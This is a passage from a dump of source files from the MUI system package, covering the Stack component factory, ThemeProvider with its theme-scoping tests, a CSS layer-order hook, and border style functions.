StackTypeMap['defaultComponent'],\n  AdditionalProps = {\n    component?: React.ElementType | undefined;\n  },\n> = OverrideProps<StackTypeMap<AdditionalProps, RootComponent>, RootComponent>;\n\nexport interface StackOwnerState {\n  direction: StackProps['direction'];\n  spacing: StackProps['spacing'];\n  useFlexGap: boolean;\n}\n"
  },
  {
    "path": "packages/mui-system/src/Stack/createStack.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport { OverridableComponent } from '@mui/types';\nimport deepmerge from '@mui/utils/deepmerge';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport composeClasses from '@mui/utils/composeClasses';\nimport systemStyled from '../styled';\nimport useThemePropsSystem from '../useThemeProps';\nimport createTheme from '../createTheme';\nimport { CreateMUIStyled } from '../createStyled';\nimport { StackTypeMap, StackOwnerState } from './StackProps';\nimport type { Breakpoint } from '../createTheme';\nimport { Breakpoints } from '../createBreakpoints/createBreakpoints';\nimport {\n  handleBreakpoints,\n  mergeBreakpointsInOrder,\n  resolveBreakpointValues,\n} from '../breakpoints';\nimport { createUnarySpacing, getValue } from '../spacing';\nimport { Spacing } from '../createTheme/createSpacing';\n\nconst defaultTheme = createTheme();\n\ninterface StyleFunctionProps {\n  theme: { breakpoints: Breakpoints; spacing: Spacing };\n  ownerState: StackOwnerState;\n}\n\n// widening Theme to any so that the consumer can own the theme structure.\nconst defaultCreateStyledComponent = (systemStyled as CreateMUIStyled<any>)('div', {\n  name: 'MuiStack',\n  slot: 'Root',\n});\n\nfunction useThemePropsDefault<T extends {}>(props: T) {\n  return useThemePropsSystem({\n    props,\n    name: 'MuiStack',\n    defaultTheme,\n  });\n}\n\n/**\n * Return an array with the separator React element interspersed between\n * each React node of the input children.\n *\n * > joinChildren([1,2,3], 0)\n * [1,0,2,0,3]\n */\nfunction joinChildren(children: React.ReactNode, separator: React.ReactElement<unknown>) {\n  const childrenArray = React.Children.toArray(children).filter(Boolean);\n\n  return childrenArray.reduce<React.ReactNode[]>((output, child, index) => {\n    output.push(child);\n\n    if (index < childrenArray.length - 1) {\n      output.push(React.cloneElement(separator, { key: `separator-${index}` }));\n    }\n\n    return output;\n  }, []);\n}\n\nconst getSideFromDirection = (direction: StackOwnerState['direction']) => {\n  return {\n    row: 'Left',\n    'row-reverse': 'Right',\n    column: 'Top',\n    'column-reverse': 'Bottom',\n  }[direction as string];\n};\n\nexport const style = ({ ownerState, theme }: StyleFunctionProps) => {\n  let styles = {\n    display: 'flex',\n    flexDirection: 'column',\n    ...handleBreakpoints(\n      { theme },\n      resolveBreakpointValues({\n        values: ownerState.direction,\n        breakpoints: theme.breakpoints.values,\n      }),\n      (propValue: string) => ({\n        flexDirection: propValue,\n      }),\n    ),\n  };\n\n  if (ownerState.spacing) {\n    const transformer = createUnarySpacing(theme);\n\n    const base = Object.keys(theme.breakpoints.values).reduce<Record<string, boolean>>(\n      (acc, breakpoint) => {\n        if (\n          (typeof ownerState.spacing === 'object' &&\n            (ownerState.spacing as any)[breakpoint] != null) ||\n          (typeof ownerState.direction === 'object' &&\n            (ownerState.direction as any)[breakpoint] != null)\n        ) {\n          acc[breakpoint] = true;\n        }\n        return acc;\n      },\n      {},\n    );\n\n    const directionValues = resolveBreakpointValues({\n      values: ownerState.direction,\n      base,\n    });\n\n    const spacingValues = resolveBreakpointValues({\n      values: ownerState.spacing,\n      base,\n    });\n\n    if (typeof directionValues === 'object') {\n      Object.keys(directionValues).forEach((breakpoint, index, breakpoints) => {\n        const directionValue = directionValues[breakpoint];\n        if (!directionValue) {\n          const previousDirectionValue =\n            index > 0 ? directionValues[breakpoints[index - 1]] : 'column';\n          directionValues[breakpoint] = previousDirectionValue;\n        }\n      });\n    }\n\n    const styleFromPropValue = (propValue: string | number | null, breakpoint?: Breakpoint) => {\n      if (ownerState.useFlexGap) {\n        return { gap: getValue(transformer, propValue) };\n      }\n      return {\n        // The useFlexGap={false} implement relies on each child to give up control of the margin.\n        // We need to reset the margin to avoid double spacing.\n        '& > :not(style):not(style)': {\n          margin: 0,\n        },\n        '& > :not(style) ~ :not(style)': {\n          [`margin${getSideFromDirection(\n            breakpoint ? directionValues[breakpoint] : ownerState.direction,\n          )}`]: getValue(transformer, propValue),\n        },\n      };\n    };\n    styles = deepmerge(styles, handleBreakpoints({ theme }, spacingValues, styleFromPropValue));\n  }\n\n  styles = mergeBreakpointsInOrder(theme.breakpoints, styles);\n\n  return styles;\n};\n\nexport default function createStack(\n  options: {\n    createStyledComponent?: typeof defaultCreateStyledComponent | undefined;\n    useThemeProps?: typeof useThemePropsDefault | undefined;\n    componentName?: string | undefined;\n  } = {},\n) {\n  const {\n    // This will allow adding custom styled fn (for example for custom sx style function)\n    createStyledComponent = defaultCreateStyledComponent,\n    useThemeProps = useThemePropsDefault,\n    componentName = 'MuiStack',\n  } = options;\n\n  const useUtilityClasses = () => {\n    const slots = {\n      root: ['root'],\n    };\n\n    return composeClasses(slots, (slot) => generateUtilityClass(componentName, slot), {});\n  };\n\n  const StackRoot = createStyledComponent<{\n    ownerState: StackOwnerState;\n  }>(style);\n\n  const Stack = React.forwardRef(function Grid(inProps, ref) {\n    const themeProps = useThemeProps<\n      typeof inProps & { component?: React.ElementType | undefined }\n    >(inProps);\n    const {\n      component = 'div',\n      direction = 'column',\n      spacing = 0,\n      divider,\n      children,\n      className,\n      useFlexGap = false,\n      ...other\n    } = themeProps;\n\n    const ownerState = {\n      direction,\n      spacing,\n      useFlexGap,\n    };\n\n    const classes = useUtilityClasses();\n\n    return (\n      <StackRoot\n        as={component}\n        ownerState={ownerState}\n        ref={ref}\n        className={clsx(classes.root, className)}\n        {...other}\n      >\n        {divider ? joinChildren(children, divider as React.ReactElement<unknown>) : children}\n      </StackRoot>\n    );\n  }) as OverridableComponent<StackTypeMap>;\n\n  Stack.propTypes /* remove-proptypes */ = {\n    children: PropTypes.node,\n    direction: PropTypes.oneOfType([\n      PropTypes.oneOf(['column-reverse', 'column', 'row-reverse', 'row']),\n      PropTypes.arrayOf(PropTypes.oneOf(['column-reverse', 'column', 'row-reverse', 'row'])),\n      PropTypes.object,\n    ]),\n    divider: PropTypes.node,\n    spacing: PropTypes.oneOfType([\n      PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string])),\n      PropTypes.number,\n      PropTypes.object,\n      PropTypes.string,\n    ]),\n    sx: PropTypes.oneOfType([\n      PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n      PropTypes.func,\n      PropTypes.object,\n    ]),\n  };\n\n  return Stack;\n}\n"
  },
  {
    "path": "packages/mui-system/src/Stack/index.ts",
    "content": "export { default } from './Stack';\nexport { default as createStack } from './createStack';\nexport * from './StackProps';\n\nexport { default as stackClasses } from './stackClasses';\nexport * from './stackClasses';\n"
  },
  {
    "path": "packages/mui-system/src/Stack/stackClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface StackClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type StackClassKey = keyof StackClasses;\n\nexport function getStackUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiStack', slot);\n}\n\nconst stackClasses: StackClasses = generateUtilityClasses('MuiStack', ['root']);\n\nexport default stackClasses;\n"
  },
  {
    "path": "packages/mui-system/src/ThemeProvider/ThemeProvider.d.ts",
    "content": "import { DefaultTheme } from '@mui/private-theming';\n\nexport interface ThemeProviderProps<Theme = DefaultTheme> {\n  /**\n   * Your component tree.\n   */\n  children?: React.ReactNode;\n  /**\n   * The design system's unique id for getting the corresponded theme when there are multiple design systems.\n   */\n  themeId?: string | undefined;\n  /**\n   * A theme object. You can provide a function to extend the outer theme.\n   */\n  theme: Partial<Theme> | ((outerTheme: Theme) => Theme);\n}\n\n/**\n * This component makes the `theme` available down the React tree.\n * It should preferably be used at **the root of your component tree**.\n * API:\n *\n * - [ThemeProvider API](https://mui.com/material-ui/customization/theming/#themeprovider)\n */\nexport default function ThemeProvider<T = DefaultTheme>(\n  props: ThemeProviderProps<T>,\n): React.ReactElement<ThemeProviderProps<T>>;\n"
  },
  {
    "path": "packages/mui-system/src/ThemeProvider/ThemeProvider.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport {\n  ThemeProvider as MuiThemeProvider,\n  useTheme as usePrivateTheme,\n} from '@mui/private-theming';\nimport exactProp from '@mui/utils/exactProp';\nimport { ThemeContext as StyledEngineThemeContext } from '@mui/styled-engine';\nimport useThemeWithoutDefault from '../useThemeWithoutDefault';\nimport RtlProvider from '../RtlProvider';\nimport DefaultPropsProvider from '../DefaultPropsProvider';\nimport useLayerOrder from './useLayerOrder';\n\nconst EMPTY_THEME = {};\n\nfunction useThemeScoping(themeId, upperTheme, localTheme, isPrivate = false) {\n  return React.useMemo(() => {\n    const resolvedTheme = themeId ? upperTheme[themeId] || upperTheme : upperTheme;\n\n    if (typeof localTheme === 'function') {\n      const mergedTheme = localTheme(resolvedTheme);\n      const result = themeId ? { ...upperTheme, [themeId]: mergedTheme } : mergedTheme;\n      // must return a function for the private theme to NOT merge with the upper theme.\n      // see the test case \"use provided theme from a callback\" in ThemeProvider.test.js\n      if (isPrivate) {\n        return () => result;\n      }\n      return result;\n    }\n    return themeId ? { ...upperTheme, [themeId]: localTheme } : { ...upperTheme, ...localTheme };\n  }, [themeId, upperTheme, localTheme, isPrivate]);\n}\n\n/**\n * This component makes the `theme` available down the React tree.\n * It should preferably be used at **the root of your component tree**.\n *\n * <ThemeProvider theme={theme}> // existing use case\n * <ThemeProvider theme={{ id: theme }}> // theme scoping\n */\nfunction ThemeProvider(props) {\n  const { children, theme: localTheme, themeId } = props;\n  const upperTheme = useThemeWithoutDefault(EMPTY_THEME);\n  const upperPrivateTheme = usePrivateTheme() || EMPTY_THEME;\n\n  if (process.env.NODE_ENV !== 'production') {\n    if (\n      (upperTheme === null && typeof localTheme === 'function') ||\n      (themeId && upperTheme && !upperTheme[themeId] && typeof localTheme === 'function')\n    ) {\n      console.error(\n        [\n          'MUI: You are providing a theme function prop to the ThemeProvider component:',\n          '<ThemeProvider theme={outerTheme => outerTheme} />',\n          '',\n          'However, no outer theme is present.',\n          'Make sure a theme is already injected higher in the React tree ' +\n            'or provide a theme object.',\n        ].join('\\n'),\n      );\n    }\n  }\n\n  const engineTheme = useThemeScoping(themeId, upperTheme, localTheme);\n  const privateTheme = useThemeScoping(themeId, upperPrivateTheme, localTheme, true);\n  const rtlValue = (themeId ? engineTheme[themeId] : engineTheme).direction === 'rtl';\n\n  const layerOrder = useLayerOrder(engineTheme);\n\n  return (\n    <MuiThemeProvider theme={privateTheme}>\n      <StyledEngineThemeContext.Provider value={engineTheme}>\n        <RtlProvider value={rtlValue}>\n          <DefaultPropsProvider\n            value={themeId ? engineTheme[themeId].components : engineTheme.components}\n          >\n            {layerOrder}\n            {children}\n          </DefaultPropsProvider>\n        </RtlProvider>\n      </StyledEngineThemeContext.Provider>\n    </MuiThemeProvider>\n  );\n}\n\nThemeProvider.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Your component tree.\n   */\n  children: PropTypes.node,\n  /**\n   * A theme object. You can provide a function to extend the outer theme.\n   */\n  theme: PropTypes.oneOfType([PropTypes.func, PropTypes.object]).isRequired,\n  /**\n   * The design system's unique id for getting the corresponded theme when there are multiple design systems.\n   */\n  themeId: PropTypes.string,\n};\n\nif (process.env.NODE_ENV !== 'production') {\n  ThemeProvider.propTypes = exactProp(ThemeProvider.propTypes);\n}\n\nexport default ThemeProvider;\n"
  },
  {
    "path": "packages/mui-system/src/ThemeProvider/ThemeProvider.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport { useTheme as usePrivateTheme } from '@mui/private-theming';\nimport { ThemeContext } from '@mui/styled-engine';\nimport { ThemeProvider } from '@mui/system';\nimport { useRtl } from '@mui/system/RtlProvider';\nimport { useDefaultProps } from '../DefaultPropsProvider';\n\nconst useEngineTheme = () => React.useContext(ThemeContext);\n\ndescribe('ThemeProvider', () => {\n  const { render } = createRenderer();\n\n  it('should provide the theme to the mui theme context', () => {\n    let privateTheme;\n    let engineTheme;\n\n    function Test() {\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- privateTheme is required outside the component\n      privateTheme = usePrivateTheme();\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- engineTheme is required outside the component\n      engineTheme = useEngineTheme();\n\n      return null;\n    }\n\n    render(\n      <ThemeProvider theme={{ foo: 'foo' }}>\n        <Test />\n      </ThemeProvider>,\n    );\n\n    expect(privateTheme).to.include({ foo: 'foo' });\n    expect(engineTheme).to.include({ foo: 'foo' });\n  });\n\n  it('should provide the theme to the styled engine theme context', () => {\n    let privateTheme;\n    let engineTheme;\n\n    function Test() {\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- privateTheme is required outside the component\n      privateTheme = usePrivateTheme();\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- engineTheme is required outside the component\n      engineTheme = useEngineTheme();\n\n      return null;\n    }\n\n    render(\n      <ThemeProvider theme={{ foo: 'foo' }}>\n        <Test />\n      </ThemeProvider>,\n    );\n    expect(engineTheme).to.include({ foo: 'foo' });\n    expect(privateTheme).to.include({ foo: 'foo' });\n  });\n\n  it('merge theme by default', () => {\n    let privateTheme;\n    let engineTheme;\n\n    function Test() {\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- privateTheme is required outside the component\n      privateTheme = usePrivateTheme();\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- engineTheme is required outside the component\n      engineTheme = useEngineTheme();\n\n      return null;\n    }\n    render(\n      <ThemeProvider theme={{ foo: 'foo' }}>\n        <ThemeProvider theme={{ bar: 'bar' }}>\n          <Test />\n        </ThemeProvider>\n      </ThemeProvider>,\n    );\n    expect(privateTheme).to.deep.equal({\n      foo: 'foo',\n      bar: 'bar',\n      [Symbol.for('mui.nested')]: true,\n    });\n    expect(engineTheme).to.deep.equal({\n      foo: 'foo',\n      bar: 'bar',\n    });\n  });\n\n  it('use provided theme from a callback', () => {\n    let privateTheme;\n    let engineTheme;\n\n    function Test() {\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- privateTheme is required outside the component\n      privateTheme = usePrivateTheme();\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- engineTheme is required outside the component\n      engineTheme = useEngineTheme();\n\n      return null;\n    }\n    render(\n      <ThemeProvider theme={{ foo: 'foo' }}>\n        <ThemeProvider theme={(upperTheme) => ({ bar: upperTheme })}>\n          <Test />\n        </ThemeProvider>\n      </ThemeProvider>,\n    );\n    expect(privateTheme).to.deep.equal({\n      bar: { foo: 'foo', [Symbol.for('mui.nested')]: false },\n      [Symbol.for('mui.nested')]: true,\n    });\n    expect(engineTheme).to.deep.equal({\n      bar: { foo: 'foo' },\n    });\n  });\n\n  it('theme scope: theme should not change', () => {\n    let privateTheme;\n    let engineTheme;\n\n    function Test() {\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- privateTheme is required outside the component\n      privateTheme = usePrivateTheme();\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- engineTheme is required outside the component\n      engineTheme = useEngineTheme();\n\n      return null;\n    }\n    render(\n      <ThemeProvider themeId=\"mui\" theme={{ foo: 'foo' }}>\n        <Test />\n      </ThemeProvider>,\n    );\n    expect(privateTheme).to.deep.equal({ mui: { foo: 'foo' }, [Symbol.for('mui.nested')]: false });\n    expect(engineTheme).to.deep.equal({ mui: { foo: 'foo' } });\n  });\n\n  it('theme scope: nested below general theme', () => {\n    let privateTheme;\n    let engineTheme;\n\n    function Test() {\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- privateTheme is required outside the component\n      privateTheme = usePrivateTheme();\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- engineTheme is required outside the component\n      engineTheme = useEngineTheme();\n\n      return null;\n    }\n    render(\n      <ThemeProvider theme={{ foo: 'foo' }}>\n        <ThemeProvider themeId=\"mui\" theme={{ bar: 'bar' }}>\n          <Test />\n        </ThemeProvider>\n      </ThemeProvider>,\n    );\n    expect(privateTheme).to.deep.equal({\n      foo: 'foo',\n      mui: { bar: 'bar' },\n      [Symbol.for('mui.nested')]: true,\n    });\n    expect(engineTheme).to.deep.equal({\n      foo: 'foo',\n      mui: { bar: 'bar' },\n    });\n  });\n\n  it('theme scope: respect callback and merge theme', () => {\n    let privateTheme;\n    let engineTheme;\n\n    function Test() {\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- privateTheme is required outside the component\n      privateTheme = usePrivateTheme();\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- engineTheme is required outside the component\n      engineTheme = useEngineTheme();\n\n      return null;\n    }\n    render(\n      <ThemeProvider theme={{ foo: 'foo' }}>\n        <ThemeProvider themeId=\"mui\" theme={{ bar: 'bar' }}>\n          <ThemeProvider themeId=\"mui\" theme={(upperTheme) => ({ baz: upperTheme })}>\n            <Test />\n          </ThemeProvider>\n        </ThemeProvider>\n      </ThemeProvider>,\n    );\n    expect(privateTheme).to.deep.equal({\n      foo: 'foo',\n      mui: { baz: { bar: 'bar' } },\n      [Symbol.for('mui.nested')]: true,\n    });\n    expect(engineTheme).to.deep.equal({\n      foo: 'foo',\n      mui: { baz: { bar: 'bar' } },\n    });\n  });\n\n  it('theme scope: order should not matter', () => {\n    let privateTheme;\n    let engineTheme;\n\n    function Test() {\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- privateTheme is required outside the component\n      privateTheme = usePrivateTheme();\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- engineTheme is required outside the component\n      engineTheme = useEngineTheme();\n\n      return null;\n    }\n    render(\n      <ThemeProvider themeId=\"mui\" theme={{ bar: 'bar' }}>\n        <ThemeProvider theme={{ foo: 'foo' }}>\n          <ThemeProvider themeId=\"mui\" theme={(upperTheme) => ({ baz: upperTheme })}>\n            <Test />\n          </ThemeProvider>\n        </ThemeProvider>\n      </ThemeProvider>,\n    );\n    expect(privateTheme).to.deep.equal({\n      foo: 'foo',\n      mui: { baz: { bar: 'bar' } },\n      [Symbol.for('mui.nested')]: true,\n    });\n    expect(engineTheme).to.deep.equal({\n      foo: 'foo',\n      mui: { baz: { bar: 'bar' } },\n    });\n  });\n\n  it('theme scope: multiple themeIds', () => {\n    let privateTheme;\n    let engineTheme;\n\n    function Test() {\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- privateTheme is required outside the component\n      privateTheme = usePrivateTheme();\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- engineTheme is required outside the component\n      engineTheme = useEngineTheme();\n\n      return null;\n    }\n\n    let privateTheme2;\n    let engineTheme2;\n\n    function Test2() {\n      privateTheme2 = usePrivateTheme();\n      engineTheme2 = useEngineTheme();\n\n      return null;\n    }\n    render(\n      <ThemeProvider themeId=\"mui\" theme={{ bar: 'bar' }}>\n        <ThemeProvider themeId=\"joy\" theme={{ foo: 'foo' }}>\n          <Test />\n          <ThemeProvider themeId=\"mui\" theme={(upperTheme) => ({ baz: upperTheme })}>\n            <ThemeProvider themeId=\"joy\" theme={(upperTheme) => ({ baz: upperTheme })}>\n              <Test2 />\n            </ThemeProvider>\n          </ThemeProvider>\n        </ThemeProvider>\n      </ThemeProvider>,\n    );\n    expect(privateTheme).to.deep.equal({\n      mui: { bar: 'bar' },\n      joy: { foo: 'foo' },\n      [Symbol.for('mui.nested')]: true,\n    });\n    expect(privateTheme2).to.deep.equal({\n      mui: { baz: { bar: 'bar' } },\n      joy: { baz: { foo: 'foo' } },\n      [Symbol.for('mui.nested')]: true,\n    });\n\n    expect(engineTheme).to.deep.equal({\n      mui: { bar: 'bar' },\n      joy: { foo: 'foo' },\n    });\n    expect(engineTheme2).to.deep.equal({\n      mui: { baz: { bar: 'bar' } },\n      joy: { baz: { foo: 'foo' } },\n    });\n  });\n\n  it('theme scope: multiple themeIds with callback', () => {\n    expect(() =>\n      render(\n        <ThemeProvider themeId=\"mui\" theme={{ bar: 'bar' }}>\n          <ThemeProvider themeId=\"joy\" theme={(upperTheme) => ({ foo: upperTheme })} />\n        </ThemeProvider>,\n      ),\n    ).toErrorDev([\n      'MUI: You are providing a theme function prop to the ThemeProvider component:',\n      '<ThemeProvider theme={outerTheme => outerTheme} />',\n    ]);\n  });\n\n  it('theme scope: should pass scoped theme to DefaultPropsProvider', () => {\n    function Test(props) {\n      const defaultProps = useDefaultProps({ props, name: 'MuiTest' });\n      return defaultProps.text;\n    }\n    const { container } = render(\n      <ThemeProvider themeId=\"mui\" theme={{ components: { MuiTest: { text: 'foo' } } }}>\n        <Test />\n      </ThemeProvider>,\n    );\n    expect(container.firstChild).to.have.text('foo');\n  });\n\n  it('sets the correct value for the RtlProvider based on the theme.direction', () => {\n    let rtlValue = null;\n    function Test() {\n      rtlValue = useRtl();\n      return null;\n    }\n    render(\n      <ThemeProvider theme={{ direction: 'rtl' }}>\n        <Test />\n      </ThemeProvider>,\n    );\n    expect(rtlValue).to.equal(true);\n\n    render(\n      <ThemeProvider theme={{ direction: 'ltr' }}>\n        <Test />\n      </ThemeProvider>,\n    );\n    expect(rtlValue).to.equal(false);\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/ThemeProvider/index.d.ts",
    "content": "export { default } from './ThemeProvider';\nexport * from './ThemeProvider';\n"
  },
  {
    "path": "packages/mui-system/src/ThemeProvider/index.js",
    "content": "export { default } from './ThemeProvider';\n"
  },
  {
    "path": "packages/mui-system/src/ThemeProvider/useLayerOrder.test.tsx",
    "content": "import { expect } from 'chai';\nimport { ThemeContext } from '@mui/styled-engine';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport useLayerOrder from './useLayerOrder';\n\nfunction TestComponent({ theme }: { theme: any }) {\n  const LayerOrder = useLayerOrder(theme);\n  return LayerOrder;\n}\n\ndescribe('useLayerOrder', () => {\n  const { render } = createRenderer();\n\n  afterEach(() => {\n    // Clean up any injected style tags\n    document.querySelectorAll('style[data-mui-layer-order]').forEach((el) => el.remove());\n  });\n\n  it('attach layer order', () => {\n    const theme = { modularCssLayers: true };\n    render(<TestComponent theme={theme} />);\n    expect(document.head.firstChild).not.to.equal(null);\n    expect(document.head.firstChild?.textContent).to.contain(\n      '@layer mui.global, mui.components, mui.theme, mui.custom, mui.sx;',\n    );\n  });\n\n  it('custom layer order string', () => {\n    const theme = { modularCssLayers: '@layer theme, base, mui, utilities;' };\n    render(<TestComponent theme={theme} />);\n    expect(document.head.firstChild?.textContent).to.contain(\n      '@layer theme, base, mui.global, mui.components, mui.theme, mui.custom, mui.sx, utilities;',\n    );\n  });\n\n  it('does not replace nested layer', () => {\n    const theme = { modularCssLayers: '@layer theme, base, mui.unknown, utilities;' };\n    render(<TestComponent theme={theme} />);\n    expect(document.head.firstChild?.textContent).to.contain(\n      '@layer theme, base, mui.unknown, utilities;',\n    );\n  });\n\n  it('returns null if modularCssLayers is falsy', () => {\n    render(<TestComponent theme={{}} />);\n    expect(document.head.firstChild?.nodeName).not.to.equal('STYLE');\n  });\n\n  it('do nothing if upperTheme exists to avoid duplicate elements', () => {\n    render(\n      <ThemeContext.Provider value={{ modularCssLayers: true }}>\n        <TestComponent theme={{}} />\n      </ThemeContext.Provider>,\n    );\n    expect(document.head.firstChild?.nodeName).not.to.equal('STYLE');\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/ThemeProvider/useLayerOrder.tsx",
    "content": "import useEnhancedEffect from '@mui/utils/useEnhancedEffect';\nimport useId from '@mui/utils/useId';\nimport GlobalStyles from '../GlobalStyles';\nimport useThemeWithoutDefault from '../useThemeWithoutDefault';\n\n/**\n * This hook returns a `GlobalStyles` component that sets the CSS layer order (for server-side rendering).\n * Then on client-side, it injects the CSS layer order into the document head to ensure that the layer order is always present first before other Emotion styles.\n */\nexport default function useLayerOrder(theme: { modularCssLayers?: boolean | string | undefined }) {\n  const upperTheme = useThemeWithoutDefault();\n  const id = useId() || '';\n  const { modularCssLayers } = theme;\n\n  let layerOrder = 'mui.global, mui.components, mui.theme, mui.custom, mui.sx';\n\n  if (!modularCssLayers || upperTheme !== null) {\n    // skip this hook if upper theme exists.\n    layerOrder = '';\n  } else if (typeof modularCssLayers === 'string') {\n    layerOrder = modularCssLayers.replace(/mui(?!\\.)/g, layerOrder);\n  } else {\n    layerOrder = `@layer ${layerOrder};`;\n  }\n\n  useEnhancedEffect(() => {\n    const head = document.querySelector('head');\n    if (!head) {\n      return;\n    }\n    const firstChild = head.firstChild as HTMLElement | null;\n\n    if (layerOrder) {\n      // Only insert if first child doesn't have data-mui-layer-order attribute\n      if (\n        firstChild &&\n        firstChild.hasAttribute?.('data-mui-layer-order') &&\n        firstChild.getAttribute('data-mui-layer-order') === id\n      ) {\n        return;\n      }\n      const styleElement = document.createElement('style');\n      styleElement.setAttribute('data-mui-layer-order', id);\n      styleElement.textContent = layerOrder;\n\n      head.prepend(styleElement);\n    } else {\n      head.querySelector(`style[data-mui-layer-order=\"${id}\"]`)?.remove();\n    }\n  }, [layerOrder, id]);\n\n  if (!layerOrder) {\n    return null;\n  }\n\n  return <GlobalStyles styles={layerOrder} />;\n}\n"
  },
  {
    "path": "packages/mui-system/src/borders/borders.d.ts",
    "content": "import { PropsFor, SimpleStyleFunction } from '../style';\n\nexport const border: SimpleStyleFunction<'border'>;\nexport const borderTop: SimpleStyleFunction<'borderTop'>;\nexport const borderRight: SimpleStyleFunction<'borderRight'>;\nexport const borderBottom: SimpleStyleFunction<'borderBottom'>;\nexport const borderLeft: SimpleStyleFunction<'borderLeft'>;\nexport const borderColor: SimpleStyleFunction<'borderColor'>;\nexport const borderTopColor: SimpleStyleFunction<'borderTopColor'>;\nexport const borderRightColor: SimpleStyleFunction<'borderRightColor'>;\nexport const borderBottomColor: SimpleStyleFunction<'borderBottomColor'>;\nexport const borderLeftColor: SimpleStyleFunction<'borderLeftColor'>;\nexport const borderRadius: SimpleStyleFunction<'borderRadius'>;\n\ndeclare const borders: SimpleStyleFunction<\n  | 'border'\n  | 'borderTop'\n  | 'borderRight'\n  | 'borderBottom'\n  | 'borderLeft'\n  | 'borderColor'\n  | 'borderRadius'\n>;\n\nexport type BordersProps = PropsFor<typeof borders>;\n\nexport default borders;\n"
  },
  {
    "path": "packages/mui-system/src/borders/borders.js",
    "content": "import responsivePropType from '../responsivePropType';\nimport style from '../style';\nimport compose from '../compose';\nimport { createUnaryUnit, getValue } from '../spacing';\nimport { handleBreakpoints } from '../breakpoints';\n\nexport function borderTransform(value) {\n  if (typeof value !== 'number') {\n    return value;\n  }\n\n  return `${value}px solid`;\n}\n\nfunction createBorderStyle(prop, transform) {\n  return style({\n    prop,\n    themeKey: 'borders',\n    transform,\n  });\n}\n\nexport const border = createBorderStyle('border', borderTransform);\n\nexport const borderTop = createBorderStyle('borderTop', borderTransform);\n\nexport const borderRight = createBorderStyle('borderRight', borderTransform);\n\nexport const borderBottom = createBorderStyle('borderBottom', borderTransform);\n\nexport const borderLeft = createBorderStyle('borderLeft', borderTransform);\n\nexport const borderColor = createBorderStyle('borderColor');\n\nexport const borderTopColor = createBorderStyle('borderTopColor');\n\nexport const borderRightColor = createBorderStyle('borderRightColor');\n\nexport const borderBottomColor = createBorderStyle('borderBottomColor');\n\nexport const borderLeftColor = createBorderStyle('borderLeftColor');\n\nexport const outline = createBorderStyle('outline', borderTransform);\n\nexport const outlineColor = createBorderStyle('outlineColor');\n\n// false positive\n// eslint-disable-next-line react/function-component-definition\nexport const borderRadius = (props) => {\n  if (props.borderRadius !== undefined && props.borderRadius !== null) {\n    const transformer = createUnaryUnit(props.theme, 'shape.borderRadius', 4, 'borderRadius');\n    const styleFromPropValue = (propValue) => ({\n      borderRadius: getValue(transformer, propValue),\n    });\n    return handleBreakpoints(props, props.borderRadius, styleFromPropValue);\n  }\n\n  return null;\n};\n\nborderRadius.propTypes =\n  process.env.NODE_ENV !== 'production' ? { borderRadius: responsivePropType } : {};\n\nborderRadius.filterProps = ['borderRadius'];\n\nconst borders = compose(\n  border,\n  borderTop,\n  borderRight,\n  borderBottom,\n  borderLeft,\n  borderColor,\n  borderTopColor,\n  borderRightColor,\n  borderBottomColor,\n  borderLeftColor,\n  borderRadius,\n  outline,\n  outlineColor,\n);\n\nexport default borders;\n"
  },
  {
    "path": "packages/mui-system/src/borders/borders.test.js",
